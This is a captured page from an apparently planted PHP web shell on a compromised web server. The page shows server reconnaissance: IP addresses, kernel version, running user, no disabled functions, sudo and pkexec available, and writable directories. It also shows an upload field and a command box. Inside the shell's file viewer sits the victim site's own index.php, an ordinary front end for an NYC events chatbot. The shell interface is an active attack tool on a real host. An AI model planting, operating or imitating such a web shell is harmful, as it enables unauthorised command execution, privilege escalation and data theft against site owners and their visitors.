403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.143
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/cgny/public_html/2019/events-chat/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/cgny/public_html/2019/events-chat/index.php
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>City Guide NY Events Chat</title>
  <style>
    :root {
      --ink: #1a1714;
      --muted: #6a6258;
      --paper: #f7f1e8;
      --panel: #fffdf9;
      --line: #e2d6c6;
      --accent: #0b4f6c;
      --accent-2: #c45c26;
    }
    * { box-sizing: border-box; }
    body {
      margin: 0;
      min-height: 100vh;
      font-family: "Iowan Old Style", "Palatino Linotype", Palatino, Georgia, serif;
      color: var(--ink);
      background:
        radial-gradient(1200px 500px at 10% -10%, #ffe8d2 0%, transparent 55%),
        radial-gradient(900px 400px at 100% 0%, #d9eef5 0%, transparent 50%),
        linear-gradient(180deg, #f3ebe0, #f8f4ee 40%, #efe7db);
    }
    .wrap {
      max-width: 760px;
      margin: 0 auto;
      min-height: 100vh;
      display: flex;
      flex-direction: column;
      padding: 20px 16px 16px;
    }
    header h1 {
      margin: 0;
      font-size: clamp(1.6rem, 4vw, 2.2rem);
      letter-spacing: -0.02em;
      line-height: 1.15;
    }
    header p {
      margin: 8px 0 0;
      color: var(--muted);
      font-size: 1rem;
      max-width: 38rem;
    }
    .meta {
      margin-top: 10px;
      font-size: 0.85rem;
      color: var(--muted);
    }
    #thread {
      flex: 1;
      overflow-y: auto;
      margin: 18px 0;
      padding: 8px 2px;
      display: flex;
      flex-direction: column;
      gap: 14px;
    }
    .msg {
      max-width: 92%;
      padding: 12px 14px;
      border: 1px solid var(--line);
      background: var(--panel);
      box-shadow: 0 8px 24px rgba(40, 24, 8, 0.04);
      white-space: pre-wrap;
      line-height: 1.45;
    }
    .msg.user {
      align-self: flex-end;
      background: #12384a;
      color: #f7fbff;
      border-color: #0b4f6c;
    }
    .msg.bot { align-self: flex-start; }
    .msg .cost {
      margin-top: 8px;
      padding-top: 8px;
      border-top: 1px solid var(--line);
      font-size: 0.78rem;
      color: var(--muted);
      white-space: normal;
    }
    .msg a { color: var(--accent); }
    .msg.user a { color: #b9e4ff; }
    form {
      display: flex;
      gap: 8px;
      align-items: flex-end;
      background: rgba(255,253,249,0.9);
      border: 1px solid var(--line);
      padding: 10px;
    }
    textarea {
      flex: 1;
      min-height: 54px;
      max-height: 160px;
      resize: vertical;
      border: 0;
      outline: none;
      background: transparent;
      font: inherit;
      padding: 8px;
    }
    button {
      border: 0;
      background: var(--accent-2);
      color: #fff;
      font: inherit;
      padding: 12px 16px;
      cursor: pointer;
    }
    button:disabled { opacity: 0.6; cursor: wait; }
    .toolbar {
      display: flex;
      justify-content: space-between;
      gap: 12px;
      align-items: center;
      margin-top: 8px;
      font-size: 0.85rem;
      color: var(--muted);
    }
    .toolbar button {
      background: transparent;
      color: var(--accent);
      border: 1px solid var(--line);
      padding: 6px 10px;
    }
    .empty {
      color: var(--muted);
      font-style: italic;
      padding: 24px 8px;
    }
    .err {
      color: #8a1f11;
      background: #ffe8e2;
      border: 1px solid #f0c2b8;
      padding: 10px 12px;
      margin-bottom: 8px;
    }
  </style>
</head>
<body>
  <div class="wrap">
    <header>
      <h1>City Guide NY Events Chat</h1>
      <p>Ask about upcoming NYC events by category, date, neighborhood, price, or free options. Answers use an hourly-updated events cache.</p>
      <div class="meta" id="meta">Loading event cache…</div>
    </header>

    <div id="thread">
      <div class="empty" id="empty">Try: “Free outdoor events this weekend” or “Family-friendly museums next week.”</div>
    </div>

    <div id="error" class="err" hidden></div>

    <form id="chat-form">
      <textarea id="message" placeholder="Ask about upcoming events…" required maxlength="2000"></textarea>
      <button type="submit" id="send">Ask</button>
    </form>
    <div class="toolbar">
      <span id="running-total">Conversation cost: $0.0000</span>
      <button type="button" id="new-chat">New chat</button>
    </div>
  </div>

  <script>
    const state = {
      conversationId: null,
      sessionToken: null,
      conversationCost: 0
    };

    const thread = document.getElementById('thread');
    const form = document.getElementById('chat-form');
    const input = document.getElementById('message');
    const sendBtn = document.getElementById('send');
    const errorBox = document.getElementById('error');
    const meta = document.getElementById('meta');
    const runningTotal = document.getElementById('running-total');
    const emptyPrompt = 'Try: “Free outdoor events this weekend” or “Family-friendly museums next week.”';

    function showError(msg) {
      errorBox.hidden = !msg;
      errorBox.textContent = msg || '';
    }

    function formatTokens(n) {
      if (n >= 1000) return (n / 1000).toFixed(n >= 10000 ? 0 : 1) + 'k';
      return String(n);
    }

    function linkify(text) {
      const escaped = text
        .replace(/&/g, '&amp;')
        .replace(/</g, '&lt;')
        .replace(/>/g, '&gt;');
      return escaped.replace(
        /\[([^\]]+)\]\((https?:\/\/[^)\s]+)\)/g,
        '<a href="$2" target="_blank" rel="noopener">$1</a>'
      ).replace(
        /(https?:\/\/www\.cityguideny\.com\/event\/[a-z0-9_-]+)/gi,
        '<a href="$1" target="_blank" rel="noopener">$1</a>'
      );
    }

    function clearEmpty() {
      const empty = document.getElementById('empty');
      if (empty) empty.remove();
    }

    function appendUserMessage(text) {
      clearEmpty();
      const el = document.createElement('div');
      el.className = 'msg user';
      el.innerHTML = linkify(text);
      thread.appendChild(el);
      thread.scrollTop = thread.scrollHeight;
    }

    function createBotMessage() {
      clearEmpty();
      const el = document.createElement('div');
      el.className = 'msg bot';
      const body = document.createElement('div');
      body.className = 'body';
      body.textContent = '';
      const cost = document.createElement('div');
      cost.className = 'cost';
      cost.hidden = true;
      el.appendChild(body);
      el.appendChild(cost);
      thread.appendChild(el);
      thread.scrollTop = thread.scrollHeight;
      return { el, body, cost };
    }

    function updateBotText(bot, text) {
      bot.body.innerHTML = linkify(text);
      thread.scrollTop = thread.scrollHeight;
    }

    function finishBot(bot, usage) {
      if (!usage) return;
      const cached = usage.cached_tokens || 0;
      bot.cost.hidden = false;
      bot.cost.textContent = '~' + (usage.cost_display || '$0') +
        ' · ' + formatTokens(usage.total_tokens || 0) + ' tokens' +
        (cached ? ' (' + formatTokens(cached) + ' cached)' : '') +
        (usage.latency_ms ? ' · ' + usage.latency_ms + ' ms' : '');
    }

    function resetChat() {
      state.conversationId = null;
      state.sessionToken = null;
      state.conversationCost = 0;
      thread.innerHTML = '<div class="empty" id="empty">' + emptyPrompt + '</div>';
      runningTotal.textContent = 'Conversation cost: $0.0000';
      showError('');
      input.focus();
    }

    async function readSse(response, handlers) {
      if (!response.ok) {
        let msg = 'Request failed';
        try {
          const data = await response.json();
          if (data && data.error) msg = data.error;
        } catch (_) {}
        throw new Error(msg);
      }
      if (!response.body) throw new Error('Streaming not supported in this browser.');

      const reader = response.body.getReader();
      const decoder = new TextDecoder();
      let buffer = '';
      let eventName = 'message';

      while (true) {
        const { done, value } = await reader.read();
        if (done) break;
        buffer += decoder.decode(value, { stream: true });
        buffer = buffer.replace(/\r\n/g, '\n');

        let sep;
        while ((sep = buffer.indexOf('\n\n')) !== -1) {
          const rawEvent = buffer.slice(0, sep);
          buffer = buffer.slice(sep + 2);
          const lines = rawEvent.split('\n');
          eventName = 'message';
          const dataLines = [];
          for (const line of lines) {
            if (line.startsWith('event:')) eventName = line.slice(6).trim();
            else if (line.startsWith('data:')) dataLines.push(line.slice(5).trimStart());
          }
          if (!dataLines.length) continue;
          let payload = {};
          try { payload = JSON.parse(dataLines.join('\n')); } catch (_) { continue; }
          if (handlers[eventName]) handlers[eventName](payload);
        }
      }
    }

    document.getElementById('new-chat').addEventListener('click', resetChat);

    form.addEventListener('submit', async (e) => {
      e.preventDefault();
      const message = input.value.trim();
      if (!message) return;
      showError('');
      appendUserMessage(message);
      input.value = '';
      sendBtn.disabled = true;

      const bot = createBotMessage();
      let full = '';

      try {
        const res = await fetch('api/chat.php', {
          method: 'POST',
          headers: {
            'Content-Type': 'application/json',
            'Accept': 'text/event-stream'
          },
          body: JSON.stringify({
            message,
            conversation_id: state.conversationId,
            session_token: state.sessionToken
          })
        });

        await readSse(res, {
          meta(data) {
            state.conversationId = data.conversation_id;
            state.sessionToken = data.session_token;
            if (data.event_count) {
              meta.textContent = data.event_count + ' upcoming events cached · model gpt-4o-mini · cache ' + (data.cache_version || '');
            }
          },
          delta(data) {
            full += (data.text || '');
            updateBotText(bot, full);
          },
          done(data) {
            state.conversationCost = data.conversation_cost_usd || 0;
            runningTotal.textContent = 'Conversation cost: ' + (data.conversation_cost_display || '$0');
            finishBot(bot, data.usage);
          },
          error(data) {
            throw new Error(data.error || 'Stream error');
          }
        });

        if (!full) updateBotText(bot, 'Sorry, I could not generate a response.');
      } catch (err) {
        showError(err.message || 'Something went wrong');
        if (!full) updateBotText(bot, 'Something went wrong while generating a reply.');
      } finally {
        sendBtn.disabled = false;
        input.focus();
      }
    });

    input.addEventListener('keydown', (e) => {
      if (e.key === 'Enter' && !e.shiftKey) {
        e.preventDefault();
        form.requestSubmit();
      }
    });

    meta.textContent = 'Ask a question to load the live events cache.';
  </script>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit